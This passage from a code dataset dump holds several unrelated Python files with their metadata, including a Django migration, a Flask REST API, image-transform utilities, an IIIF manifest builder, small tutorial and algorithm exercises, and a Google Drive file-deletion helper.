import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Address',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('city', models.CharField(max_length=20)),\n ('state', models.CharField(max_length=20)),\n ('pincode', models.IntegerField()),\n ('street', models.CharField(max_length=200)),\n ('landmark', models.CharField(max_length=200)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Center',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('email', models.CharField(max_length=100)),\n ('phone', models.CharField(max_length=15)),\n ('contact_person', models.CharField(max_length=100)),\n ('added_schools', models.ManyToManyField(related_name='added_schools_rel_+', null=True, to='foodDelivery1.Center', blank=True)),\n ('address', models.ForeignKey(to='foodDelivery1.Address')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='DailyFoodOrder',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date', models.DateTimeField(auto_now_add=True)),\n ('total_children', models.IntegerField(default=0)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='FoodItem',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100)),\n ('calories', models.CharField(default=0, max_length=3)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='OrderedItem',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('quantity', models.IntegerField()),\n ('extra', models.IntegerField()),\n ('name', models.ManyToManyField(to='foodDelivery1.FoodItem')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ReviewOrComplaint',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('remark', models.TextField(max_length=1000)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='School',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('email', models.CharField(max_length=100)),\n ('phone', models.CharField(max_length=15)),\n ('contact_person', models.CharField(max_length=100)),\n ('address', models.ForeignKey(to='foodDelivery1.Address')),\n ('food_provider', models.ForeignKey(related_name='total_registered', to='foodDelivery1.Center')),\n ('user', models.OneToOneField(related_name='school', to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='dailyfoodorder',\n name='items_ordered',\n field=models.ForeignKey(to='foodDelivery1.OrderedItem'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='dailyfoodorder',\n name='organisation',\n field=models.ForeignKey(related_name='food_order', to='foodDelivery1.School'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='center',\n name='items_available',\n field=models.ManyToManyField(related_name='org', to='foodDelivery1.FoodItem'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='center',\n name='user',\n field=models.OneToOneField(related_name='center', to=settings.AUTH_USER_MODEL),\n preserve_default=True,\n ),\n ]\n","sub_path":"foodDelivery1/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"256592037","text":"#! /usr/bin/env python\n\"\"\"\nConverts our GPS logfiles to something we can read into qgis.\n\"\"\"\nfrom numpy import array, pi, cos\nimport csv\nimport os\nimport sys\nimport Gnuplot\nimport Gnuplot.funcutils\nfrom optparse import OptionParser\n\n\ndef readcsvfile(filename):\n \"\"\"\n returns values from csv as a list\n\n NB using 'with - as' idiom with file objects makes sure they are\n closed after use\n\n filename = path to csv file\n data = data from file as list\n \"\"\"\n data = []\n f=open(filename)\n \n reader = csv.reader(f)\n for row in reader:\n data.append(row)\n return data\n\n\ndef processgpsdata(data):\n \"\"\"\n process the gps data\n \"\"\"\n latitude = []\n longitude = []\n intensity = []\n intensitylow = []\n\n # redo for DMS\n \n for row in data:\n latitude.append(float(row[0][0:2]) + \\\n float(row[0][2:]) / 60.0)\n longitude.append((float(row[1][0:3]) + \\\n float(row[1][3:]) / 60.0))\n intensity.append(float(row[2]))\n intensitylow.append(float(row[3]))\n\n return (array(latitude),\n array(longitude),\n array(intensity),\n array(intensitylow))\n\n\ndef makenewfilename(filename, suffix='.converted'):\n \"\"\"\n strip extension from input file and make new file with same name\n\n default value for suffix is .png\n \"\"\"\n return os.path.join(os.path.splitext(filename)[0]) + suffix\n\n\ndef main():\n \"\"\"\n parses command line arguments\n calls functions\n processes output\n \"\"\"\n usage = \"usage: %prog [optional title] path/to/data/file\"\n parser = OptionParser(usage, version=\"%prog 0.1\")\n parser.add_option(\"-t\",\n \"--title\",\n dest=\"title\",\n default=None,\n help=\"Add a title to the plot. Default is None\")\n options, args = parser.parse_args()\n if len(args) != 1:\n parser.error(\"\"\"\n\nPlease specify a path to the data file\ne.g. gpsprocess.py /root/projects/detection/logs/scryturmcut\n\"\"\")\n filepath = args[0]\n settitle = options.title\n outputfile = makenewfilename(filepath)\n\n oo=open(outputfile,\"w\")\n\n y = readcsvfile(filepath)\n (lat, lon, intensity, intensitylow) = processgpsdata(y) # add/subtract more values\n\n \n for x, yz, z, zz in zip(lat, lon, intensity, intensitylow):\n # write to file comma seperated\n # for moment write\n string=\"-\"+str(yz)+ \",\"+str(x)+\",\"+str(z)+\",\"+str(zz)+\"\\n\" #csv\n # as vector layer?\n oo.write(string)\n\n oo.close\n \nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"gpstoqgis.py","file_name":"gpstoqgis.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"414514058","text":"# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport cv2\nimport math\nimport numpy as np\nfrom PIL import Image, ImageEnhance\n\n\ndef normalize(im, mean, std):\n im = im / 255.0\n im -= mean\n im /= std\n return im\n\n\ndef permute(im, to_bgr=False):\n im = np.swapaxes(im, 1, 2)\n im = np.swapaxes(im, 1, 0)\n if to_bgr:\n im = im[[2, 1, 0], :, :]\n return im\n\n\ndef resize_long(im, long_size=224, interpolation=cv2.INTER_LINEAR):\n value = max(im.shape[0], im.shape[1])\n scale = float(long_size) / float(value)\n resized_width = int(round(im.shape[1] * scale))\n resized_height = int(round(im.shape[0] * scale))\n\n im = cv2.resize(\n im, (resized_width, resized_height), interpolation=interpolation)\n return im\n\n\ndef resize(im, target_size=608, interp=cv2.INTER_LINEAR):\n if isinstance(target_size, list) or isinstance(target_size, tuple):\n w = target_size[0]\n h = target_size[1]\n else:\n w = target_size\n h = target_size\n im = cv2.resize(im, (w, h), interpolation=interp)\n return im\n\n\ndef random_crop(im,\n crop_size=224,\n lower_scale=0.08,\n lower_ratio=3. / 4,\n upper_ratio=4. / 3):\n scale = [lower_scale, 1.0]\n ratio = [lower_ratio, upper_ratio]\n aspect_ratio = math.sqrt(np.random.uniform(*ratio))\n w = 1. * aspect_ratio\n h = 1. / aspect_ratio\n bound = min((float(im.shape[0]) / im.shape[1]) / (h**2),\n (float(im.shape[1]) / im.shape[0]) / (w**2))\n scale_max = min(scale[1], bound)\n scale_min = min(scale[0], bound)\n target_area = im.shape[0] * im.shape[1] * np.random.uniform(\n scale_min, scale_max)\n target_size = math.sqrt(target_area)\n w = int(target_size * w)\n h = int(target_size * h)\n i = np.random.randint(0, im.shape[0] - h + 1)\n j = np.random.randint(0, im.shape[1] - w + 1)\n im = im[i:i + h, j:j + w, :]\n im = cv2.resize(im, (crop_size, crop_size))\n return im\n\n\ndef center_crop(im, crop_size=224):\n height, width = im.shape[:2]\n w_start = (width - crop_size) // 2\n h_start = (height - crop_size) // 2\n w_end = w_start + crop_size\n h_end = h_start + crop_size\n im = im[h_start:h_end, w_start:w_end, :]\n return im\n\n\ndef horizontal_flip(im):\n if len(im.shape) == 3:\n im = im[:, ::-1, :]\n elif len(im.shape) == 2:\n im = im[:, ::-1]\n return im\n\n\ndef vertical_flip(im):\n if len(im.shape) == 3:\n im = im[::-1, :, :]\n elif len(im.shape) == 2:\n im = im[::-1, :]\n return im\n\n\ndef bgr2rgb(im):\n return im[:, :, ::-1]\n\n\ndef hue(im, hue_lower, hue_upper):\n delta = np.random.uniform(hue_lower, hue_upper)\n u = np.cos(delta * np.pi)\n w = np.sin(delta * np.pi)\n bt = np.array([[1.0, 0.0, 0.0], [0.0, u, -w], [0.0, w, u]])\n tyiq = np.array([[0.299, 0.587, 0.114], [0.596, -0.274, -0.321],\n [0.211, -0.523, 0.311]])\n ityiq = np.array([[1.0, 0.956, 0.621], [1.0, -0.272, -0.647],\n [1.0, -1.107, 1.705]])\n t = np.dot(np.dot(ityiq, bt), tyiq).T\n im = np.dot(im, t)\n return im\n\n\ndef saturation(im, saturation_lower, saturation_upper):\n delta = np.random.uniform(saturation_lower, saturation_upper)\n gray = im * np.array([[[0.299, 0.587, 0.114]]], dtype=np.float32)\n gray = gray.sum(axis=2, keepdims=True)\n gray *= (1.0 - delta)\n im *= delta\n im += gray\n return im\n\n\ndef contrast(im, contrast_lower, contrast_upper):\n delta = np.random.uniform(contrast_lower, contrast_upper)\n im *= delta\n return im\n\n\ndef brightness(im, brightness_lower, brightness_upper):\n delta = np.random.uniform(brightness_lower, brightness_upper)\n im += delta\n return im\n\ndef rotate(im, rotate_lower, rotate_upper):\n rotate_delta = np.random.uniform(rotate_lower, rotate_upper)\n im = im.rotate(int(rotate_delta))\n return im\n\n\ndef resize_padding(im, max_side_len=2400):\n '''\n resize image to a size multiple of 32 which is required by the network\n :param im: the resized image\n :param max_side_len: limit of max image size to avoid out of memory in gpu\n :return: the resized image and the resize ratio\n '''\n h, w, _ = im.shape\n\n resize_w = w\n resize_h = h\n\n # limit the max side\n if max(resize_h, resize_w) > max_side_len:\n ratio = float(\n max_side_len) / resize_h if resize_h > resize_w else float(\n max_side_len) / resize_w\n else:\n ratio = 1.\n resize_h = int(resize_h * ratio)\n resize_w = int(resize_w * ratio)\n\n resize_h = resize_h if resize_h % 32 == 0 else (resize_h // 32 - 1) * 32\n resize_w = resize_w if resize_w % 32 == 0 else (resize_w // 32 - 1) * 32\n resize_h = max(32, resize_h)\n resize_w = max(32, resize_w)\n im = cv2.resize(im, (int(resize_w), int(resize_h)))\n #im = cv2.resize(im, (512, 512))\n ratio_h = resize_h / float(h)\n ratio_w = resize_w / float(w)\n _ratio = np.array([ratio_h, ratio_w]).reshape(-1, 2)\n return im, _ratio\n","sub_path":"deploy/raspberry/python/transforms/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":5580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"98917555","text":"import urllib\nfrom datetime import datetime\nfrom time import strptime, mktime\n\nfrom flask import abort, jsonify, json, make_response, request\n\nfrom api import app\nfrom api.practices.Practice import Practice\nfrom api.colles import colla_service\nfrom api.practices import practice_service\nfrom api.db.DB import DB\n\n\n@app.route('/practices', methods=['GET'])\ndef get_practices():\n colla_id = request.args.get('colla_id')\n if colla_id is None:\n abort(400)\n else:\n colla = colla_service.get_some_info_colla(colla_id)\n if colla:\n practices = practice_service.get_practices_by_colla(colla.id)\n json_practices_list = json.dumps([practice.__dict__ for practice in practices],\n ensure_ascii=False, encoding=\"utf-8\", indent=4)\n response = make_response(json_practices_list, 200)\n response.headers[0] = ('Content-Type', 'application/json; charset=utf-8')\n return response\n else:\n abort(404)\n\n\n@app.route('/practices/', methods=['GET'])\ndef get_attendants(practice_id):\n practice = practice_service.get_practice(practice_id)\n if practice:\n return make_response(jsonify(practice.__dict__), 200)\n else:\n abort(404)\n\n\n@app.route('/practices/', methods=['DELETE'])\ndef delete_practice(practice_id):\n practice = practice_service.get_practice(practice_id)\n if practice is None:\n abort(404)\n else:\n practice_service.delete_practice(practice_id)\n return make_response(jsonify({}), 200)\n\n\n@app.route('/practices/', methods=['PUT'])\ndef update_practice(practice_id):\n practice = practice_service.get_practice(practice_id)\n if practice:\n try:\n body = json.loads(urllib.unquote(request.data))\n description = body['description']\n date = datetime.fromtimestamp(mktime(strptime(body['date'], '%Y-%d-%m %H:%M:%S')))\n address = body['address']\n\n practice.description = description\n practice.date = date\n practice.address = address\n\n practice_service.update(practice)\n return make_response(jsonify(practice.__dict__), 200)\n except KeyError:\n abort(400)\n abort(404)\n\n\n@app.route('/practices', methods=['POST'])\n# @requires_auth\ndef create_practice():\n try:\n body = json.loads(urllib.unquote(request.data))\n date = datetime.fromtimestamp(mktime(strptime(body['date'], '%Y-%d-%m %H:%M:%S')))\n description = body['description']\n address = body['address']\n id_colla = body['id_colla']\n\n colla = colla_service.get_some_info_colla(id_colla)\n if colla:\n practice = Practice(date=date, description=description, address=address, id_colla=id_colla)\n practice = practice_service.insert(practice)\n return make_response(jsonify(practice.__dict__), 201)\n else:\n abort(404)\n except KeyError:\n abort(400)\n\n\n@app.route('/practices//attendants', methods=['POST'])\ndef add_attendant(practice_id):\n user_id = request.args.get('user_id')\n if user_id:\n practice = practice_service.get_practice(practice_id)\n from api.db.CtrlFactory import get_user_ctrl\n db_configuration = json.loads(open(\"api/db/db.json\").read())\n user = get_user_ctrl(DB(db_configuration).get_database_connection()).get(user_id)\n if practice and user:\n practice = practice_service.insert_attendant(user, practice)\n return make_response(jsonify(practice.__dict__), 201)\n else:\n abort(404)\n else:\n abort(400)\n\n\n@app.route('/practices//attendants', methods=['DELETE'])\ndef delete_attendant(practice_id):\n user_id = request.args.get('user_id')\n if user_id:\n practice = practice_service.get_practice(practice_id)\n from api.db.CtrlFactory import get_user_ctrl\n db_configuration = json.loads(open(\"api/db/db.json\").read())\n user = get_user_ctrl(DB(db_configuration).get_database_connection()).get(user_id)\n practice = practice_service.get_practice(practice.id)\n if practice and user:\n practice_service.delete_attendant(user, practice)\n practice = practice_service.get_practice(practice.id)\n return make_response(jsonify(practice.__dict__), 200)\n else:\n abort(404)\n else:\n abort(400)\n","sub_path":"back-end/api/practices/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"195866882","text":"from django.test import TestCase\nfrom django.core.urlresolvers import reverse\n\nimport datetime\n\nfrom weather_forecast import models, utils\n\n\n# Create your tests here.\nclass TestModel(TestCase):\n\n def setUp(self):\n utils.request_to_api('London')\n\n def test_get_forecast_from_api_with_current_date(self):\n \"\"\"Проверка на получение прогноза за текущую дату города, которого нет в бд\"\"\"\n city_name = 'Kiev'\n date = datetime.datetime.today().date()\n result = models.Forecast.next_five_days.get_context(city_name, date)\n self.assertEqual(result['from'], 'API')\n\n def test_get_forecast_from_database_with_current_date(self):\n \"\"\"Проверка на получение прогноза за текущую дату города, который есть в бд\"\"\"\n city_name = 'London'\n date = datetime.datetime.today()\n result = models.Forecast.next_five_days.get_context(city_name, date)\n self.assertEqual(result['from'], 'Database')\n\n def test_get_frorecast_with_unexists_city(self):\n \"\"\"Проверка поиска с несуществующем названием города\"\"\"\n city_name = 'Zaporozhye'\n date = datetime.datetime.today().date()\n result = models.Forecast.next_five_days.get_context(city_name, date)\n self.assertEqual(result['error'], \"The city with the specified name does not exist.\")\n\n def test_get_forecast_with_future_date(self):\n \"\"\"Проверка поиска прогноза за датой в будущем (возможно перекинуть проверку на фронтэнд)\"\"\"\n city_name = 'London'\n date = datetime.datetime.today().date() + datetime.timedelta(days=10)\n result = models.Forecast.next_five_days.get_context(city_name, date)\n self.assertEqual(result['error'], \"It's impossible to get a forecast for 5 days for a specified date\")\n\n def test_get_forecast_with_past_date(self):\n \"\"\"Проверка поиска прогноза за прошлой датой, при его отсутствии в бд\"\"\"\n city_name = 'London'\n date = datetime.datetime.today().date() - datetime.timedelta(days=10)\n result = models.Forecast.next_five_days.get_context(city_name, date)\n self.assertEqual(result['error'], \"It's impossible to get a forecast for 5 days for a specified date\")\n\n def test_forecasts_for_different_citys(self):\n \"\"\"Проверка того, прогнозы ссылались на свой город. То есть, чтоб при записи прогнозов по новому городу,\n другие прогнозы не теряли ссылку на свой город\"\"\"\n first_city = 'Paris'\n second_city = 'Tokyo'\n date = datetime.datetime.today().date()\n first_result = models.Forecast.next_five_days.get_context(first_city, date)\n second_result = models.Forecast.next_five_days.get_context(second_city, date)\n for f_set, s_set in zip(first_result['forecast_list'], second_result['forecast_list']):\n for f_forecast, s_forecast in zip(f_set, s_set):\n self.assertEqual(first_city, f_forecast.city.name)\n self.assertEqual(second_city, s_forecast.city.name)\n\n\nclass TestView(TestCase):\n \"\"\"Нужно дописать тесты\"\"\"\n\n def test_page_loading(self):\n \"\"\"Проверка загрузки страницы\"\"\"\n response = self.client.get(reverse('weather_forecast:main_page'))\n self.assertEqual(response.status_code, 200)\n","sub_path":"weather_forecast/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"409971764","text":"#資料: 程式的基本單位\n# 數字\n3456\n3.5\n# 字串\n\"測試中文\"\n\"Hello World\"\n# 布林值\nTrue\nFalse\n# 有順序、可變動的列表 List 列表有順序概念\n[3,4,5]\n[\"Hello\",\"World\"]\n# 有順序、不可變動的列表 Tuple\n(3,4,5)\n(\"Hello\",\"World\")\n#集合 Set 集合沒有順序概念\n{3,4,5}\n{\"Hello\",\"World\"}\n#字典 Dictionary 字典是key-value pair 的集合,這個dictionary比較像是一個物件,裡面會有不同的method\n{\"apple\":\"蘋果\",\"data\":\"資料\"}\n# 變數: 用來儲存資料的自訂名稱\n# 變數的功用: 1.儲存資料 2.彈性:可以在變數中換不同的資料\n# 變數名稱 = 資料\ndata = 3\n# print(資料)\nprint(data)\ndata = True # 取代舊的資料\nprint(data)\ndata = {3,4,5}\nprint(data)","sub_path":"2-datatype.py","file_name":"2-datatype.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"340315497","text":"#\n# @lc app=leetcode id=841 lang=python3\n#\n# [841] Keys and Rooms\n#\n# https://leetcode.com/problems/keys-and-rooms/description/\n#\n# algorithms\n# Medium (61.81%)\n# Likes: 677\n# Dislikes: 61\n# Total Accepted: 56.4K\n# Total Submissions: 90.1K\n# Testcase Example: '[[1],[2],[3],[]]'\n#\n# There are N rooms and you start in room 0.  Each room has a distinct number\n# in 0, 1, 2, ..., N-1, and each room may have some keys to access the next\n# room. \n# \n# Formally, each room i has a list of keys rooms[i], and each key rooms[i][j]\n# is an integer in [0, 1, ..., N-1] where N = rooms.length.  A key rooms[i][j]\n# = v opens the room with number v.\n# \n# Initially, all the rooms start locked (except for room 0). \n# \n# You can walk back and forth between rooms freely.\n# \n# Return true if and only if you can enter every room.\n \n# Example 1:\n# \n# \n# Input: [[1],[2],[3],[]]\n# Output: true\n# Explanation: \n# We start in room 0, and pick up key 1.\n# We then go to room 1, and pick up key 2.\n# We then go to room 2, and pick up key 3.\n# We then go to room 3. Since we were able to go to every room, we return\n# true.\n# \n# \n# Example 2:\n# \n# \n# Input: [[1,3],[3,0,1],[2],[0]]\n# Output: false\n# Explanation: We can't enter the room with number 2.\n# \n# \n# Note:\n# \n# \n# 1 <= rooms.length <= 1000\n# 0 <= rooms[i].length <= 1000\n# The number of keys in all rooms combined is at most 3000.\n\n\n# @lc code=start\nclass Solution:\n def canVisitAllRooms(self, rooms: [[int]]) -> bool:\n m = len(rooms)\n entered = [False for _ in range(m)]\n def dfs(i):\n entered[i] = True\n for k in rooms[i]:\n if not entered[k]:\n dfs(k)\n dfs(0)\n for e in entered:\n if not e:\n return False\n return True\n# @lc code=end\nif __name__ == '__main__':\n s = Solution()\n s.canVisitAllRooms([[1],[2],[3],[]])\n","sub_path":"src/841.keys-and-rooms.py","file_name":"841.keys-and-rooms.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"496652736","text":"# a revised version of https://iiif.io/api/presentation/3.0/#b-example-manifest-response\n# it creates 2000 canvas each with annotation and subservices.\nfrom IIIFpres import iiifpapi3\niiifpapi3.BASE_URL = \"https://example.org/iiif/book1/\"\nmanifest = iiifpapi3.Manifest()\nmanifest.set_id(extendbase_url=\"manifest\")\nmanifest.add_label(\"en\",\"Book 1\")\nmanifest.add_metadata(label=\"Author\",value=\"Anne Author\",language_l=\"en\")\n# more complex entry can be mapped directly to a dictionary and inserted using entry arguments\nentry = {\n \"label\": { \"en\": [ \"Published\" ] },\n \"value\": {\n \"en\": [ \"Paris, circa 1400\" ],\n \"fr\": [ \"Paris, environ 1400\" ]\n }\n }\nmanifest.add_metadata(entry=entry)\nmanifest.add_metadata(label=\"Notes\",value=[\"Text of note 1\",\"Text of note 2\"],language_l=\"en\",language_v=\"en\")\nmanifest.add_metadata(label=\"Source\",value=\"From: Some Collection\",language_l=\"en\", language_v=\"none\")\nmanifest.add_summary(language=\"en\",text=\"Book 1, written be Anne Author, published in Paris around 1400.\")\nthum = manifest.add_thumbnail()\nthum.set_id(\"https://example.org/iiif/book1/page1/full/80,100/0/default.jpg\")\nthum.set_type(\"Image\")\nthum.set_format(\"image/jpeg\")\ntserv = thum.add_service()\ntserv.set_id(\"https://example.org/iiif/book1/page1\")\ntserv.set_type(\"ImageService3\")\ntserv.set_profile(\"level1\")\nmanifest.set_viewingDirection(\"right-to-left\")\nmanifest.add_behavior(\"paged\")\nmanifest.set_navDate(\"1856-01-01T00:00:00Z\")\nmanifest.set_rights(\"http://creativecommons.org/licenses/by/4.0/\")\nmanifest.add_requiredStatement(label=\"Attribution\",value=\"Provided by Example Organization\",language_l=\"en\",language_v=\"en\")\nprov = manifest.add_provider()\nprov.add_label(\"en\",\"Example Organization\")\nprov.set_id(\"https://example.org/about\")\nhomp = prov.add_homepage()\nhomp.set_id(\"https://example.org/\")\nhomp.set_type(\"Text\")\nhomp.add_label(\"en\",\"Example Organization Homepage\")\nhomp.set_format(\"text/html\")\nlogo = prov.add_logo()\nlogo.set_id(\"https://example.org/service/inst1/full/max/0/default.png\")\n#logo.set_type(\"Image\")\nlogo.set_format(\"image/png\")\nserv1 = logo.add_service()\nserv1.set_id(\"https://example.org/service/inst1\")\nserv1.set_type(\"ImageService3\")\nserv1.set_profile(\"level2\")\nseeAl = prov.add_seeAlso()\nseeAl.set_id(\"https://data.example.org/about/us.jsonld\")\nseeAl.set_type(\"Dataset\")\nseeAl.set_format(\"application/ld+json\")\nseeAl.set_profile(\"https://schema.org/\")\nhomp2 = manifest.add_homepage()\nhomp2.set_id(\"https://example.org/info/book1/\")\nhomp2.set_type(\"Text\")\nhomp2.add_label(\"en\",\"Home page for Book 1\")\nhomp2.set_format(\"text/html\")\nserv2 = manifest.add_service()\nserv2.set_id(\"https://example.org/service/example\")\nserv2.set_type(\"ExampleExtensionService\")\nserv2.set_profile(\"https://example.org/docs/example-service.html\")\nsal2 = manifest.add_seeAlso()\nsal2.set_id(\"https://example.org/library/catalog/book1.xml\")\nsal2.set_type(\"Dataset\")\nsal2.set_format(\"text/xml\")\nsal2.set_profile(\"https://example.org/profiles/bibliographic\")\nren = manifest.add_rendering()\nren.set_id(\"https://example.org/iiif/book1.pdf\")\nren.set_type(\"Text\")\nren.add_label(\"en\",\"Download as PDF\")\nren.set_format(\"application/pdf\")\npo = manifest.add_partOf()\npo.set_id(\"https://example.org/collections/books/\")\npo.set_type(\"Collection\")\nstart = manifest.set_start()\nstart.set_id(\"https://example.org/iiif/book1/canvas/p2\")\nstart.set_type(\"Canvas\")\nmycomplexserv = {\n \"@id\": \"https://example.org/iiif/auth/login\",\n \"@type\": \"AuthCookieService1\",\n \"profile\": \"http://iiif.io/api/auth/1/login\",\n \"label\": \"Login to Example Institution\",\n \"service\": [\n {\n \"@id\": \"https://example.org/iiif/auth/token\",\n \"@type\": \"AuthTokenService1\",\n \"profile\": \"http://iiif.io/api/auth/1/token\" \n }\n ]\n }\nmanifest.add_services(mycomplexserv)\n\n\n# label,width,height,id,\nd = (\"p. 1\",750,1000, \"https://example.org/iiif/book1/page1\",\"/full/max/0/default.jpg\",\"annotation\",True)\n\nfor idx in range(2000):\n idx+=1 \n canvas = manifest.add_canvas_to_items()\n canvas.set_id(extendbase_url=\"canvas/p%s\"%idx) # in this case we use the base url\n canvas.set_height(d[2])\n canvas.set_width(d[1])\n canvas.add_label(\"none\",d[0])\n annopage = canvas.add_annotationpage_to_items()\n annopage.set_id(extendbase_url=\"page/p%s/1\" %idx)\n annotation = annopage.add_annotation_to_items(target=canvas.id)\n annotation.set_id(extendbase_url=\"annotation/p%s-image\"%str(idx).zfill(4))\n annotation.set_motivation(\"painting\")\n annotation.body.set_id(\"\".join(d[3:-2]))\n annotation.body.set_type(\"Image\")\n annotation.body.set_format(\"image/jpeg\")\n annotation.body.set_width(1500)\n annotation.body.set_height(2000)\n s = annotation.body.add_service()\n s.set_id(d[3])\n s.set_type(\"ImageService3\")\n s.set_profile(\"level2\")\n if d[6]:\n subserv = {\n \"@id\": \"https://example.org/iiif/auth/login\",\n \"@type\": \"AuthCookieService1\"\n }\n s.add_service(subserv)\n # if has annotation\n if d[5]:\n annopage2 = canvas.add_annotationpage_to_annotations()\n annopage2.set_id(\"https://example.org/iiif/book1/comments/p%s/1\" %idx)\n \nrng = manifest.add_range_to_structures()\nrng.set_id(extendbase_url=\"range/r0\")\nrng.add_label(\"en\",\"Table of Contents\")\nrng2 = iiifpapi3.Range()\nrng2.set_id(extendbase_url=\"range/r1\")\nrng2.add_label(\"en\",\"Introduction\")\nrng2.set_supplementary(\"https://example.org/iiif/book1/annocoll/introTexts\")\nrng2.add_canvas_to_items(\"https://example.org/iiif/book1/canvas/p1\")\nsr = iiifpapi3.SpecificResource()\nsr.set_source(\"https://example.org/iiif/book1/canvas/p2\")\nfs = iiifpapi3.FragmentSelector()\nfs.set_xywh(0,0,750,300)\nsr.set_selector(fs)\nrng2.add_item(sr)\nrng.add_item(rng2)\nannopage3 = iiifpapi3.AnnotationPage()\nannopage3.set_id(\"https://example.org/iiif/book1/page/manifest/1\")\nanno = iiifpapi3.Annotation(manifest.id)\nanno.set_id(\"https://example.org/iiif/book1/page/manifest/a1\")\nanno.set_motivation(\"commenting\")\nanno.body.set_language(\"en\")\nanno.body.set_value(\"I love this manifest!\")\nannopage3.add_item(anno)\nannopage3.set_id(\"https://example.org/iiif/book1/page/manifest/1\") \nmanifest.add_annotation(annopage3)\nif __name__ == \"__main__\":\n manifest.orjson_dumps(\"manifest.json\")","sub_path":"tests/performance/2000_canvas_2000_annotations_orjson.py","file_name":"2000_canvas_2000_annotations_orjson.py","file_ext":"py","file_size_in_byte":6387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"365728092","text":"\"\"\"\n5209. [파이썬 S/W 문제해결 구현] 5일차 - 최소 생산 비용\n\nFail Point\n\n1. 최대 최소의 경우 조건을 잘 이용하면 가지치기 할 수 있다.\n\n\"\"\"\nimport sys\n\nsys.stdin = open(\"input.txt\", \"r\")\n\n\ndef func(now, sum_value):\n global min_value, selected\n if now == N:\n if min_value > sum_value:\n min_value = sum_value\n else:\n for i in range(N):\n # Fail Point\n if not selected[i] and sum_value < min_value:\n selected[i] = 1\n func(now + 1, sum_value + data[now][i])\n selected[i] = 0\n\n\nfor t in range(1, 1 + int(input())):\n N = int(input())\n data = [list(map(int, input().split())) for _ in range(N)]\n selected = [0] * N\n min_value = 10 ** 10\n func(0, 0)\n # min_value = min_value if find else 0\n print(\"#{} {}\".format(t, min_value))\n","sub_path":"OnlineJudge/SWExpertAcademy/Advanced/05_Backtracking/5209.py","file_name":"5209.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579007344","text":"import logging\r\n\r\nfrom driven import auth\r\nfrom driven.api.list import list_files\r\n\r\nlog = logging.getLogger(__name__)\r\n\r\ndef delete_file(path=None, fileid=None):\r\n deleted = None\r\n service = auth.get_service()\r\n \r\n if fileid:\r\n deleted = service.files().delete(fileId=fileid).execute()\r\n elif path:\r\n files = list_files(glob=path)\r\n if files:\r\n deleted = service.files().delete(fileId=files[0]['id']).execute()\r\n \r\n return deleted\r\n\r\ndef delete_files(glob):\r\n \"\"\"\r\n Like rm command.\r\n \"\"\"\r\n removed = []\r\n\r\n files = list_files(glob=glob)\r\n log.debug(files)\r\n\r\n # Return None if nothing found\r\n if not files:\r\n return None\r\n\r\n for f in files:\r\n log.debug('Should remove file with fileId %s', f['id'])\r\n deleted = delete_file(fileid=f['id'])\r\n removed.append(f)\r\n\r\n return removed\r\n","sub_path":"driven/api/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} 